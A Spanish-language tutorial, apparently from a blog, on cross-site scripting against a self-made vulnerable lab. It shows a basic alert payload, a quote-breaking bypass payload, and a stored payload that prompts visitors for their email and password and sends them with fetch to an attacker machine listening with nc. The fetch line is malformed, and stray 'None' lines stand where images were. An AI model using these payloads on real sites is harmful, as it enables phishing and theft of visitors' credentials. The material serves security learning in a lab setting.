La vulnerabilidad consiste en inyectar código malicioso en una web, pudiendo así almacenarlo para que se ejecute cada vez que el usuario visite una parte de la misma.

XSS Básica

Vamos a inyectar un código que nos muestre una alerta en javascript. Para las prácticas he creado por medio de chatGPT un laboratorio que es vulnerable a XSS.

Una vez dentro del laboratorio vemos que podemos insertar mensajes, ahí es donde insertaremos nuestro código malicioso.

<script>alert(1)</script>
None
None

Al entrar en el mensaje creado, se activará la alerta.

None

Con esto ya tenemos un XSS básico y comprobación de que la web es vulnerable.

XSS Almacenado

Ahora inyectaremos un código donde nos pida credenciales y nos las envíe a nuestra máquina donde estaremos escuchando con nc.

<script>
  var correo = prompt("Introduce tu correo: ");
  var password = prompt("Introduce tu contraseña: ");
  fetch("http://192.168.1.42:4444/ + correo + password);
</script>
None

Ahora al visitar o recargar el comentario, nos pedirá las credenciales.

None

Y vemos como llegan a nuestra máquina.

None

Restricciones del bypass

Puede que la web esté protegida y que nuestro payload no funcione, en ese caso podemos intentar encerrar la etiqueta entre comillas:

"><script>alert(1)</script>

En el caso de que existan palabras "capadas" podemos hacer una búsqueda por internet de otros payloads más efectivos.

None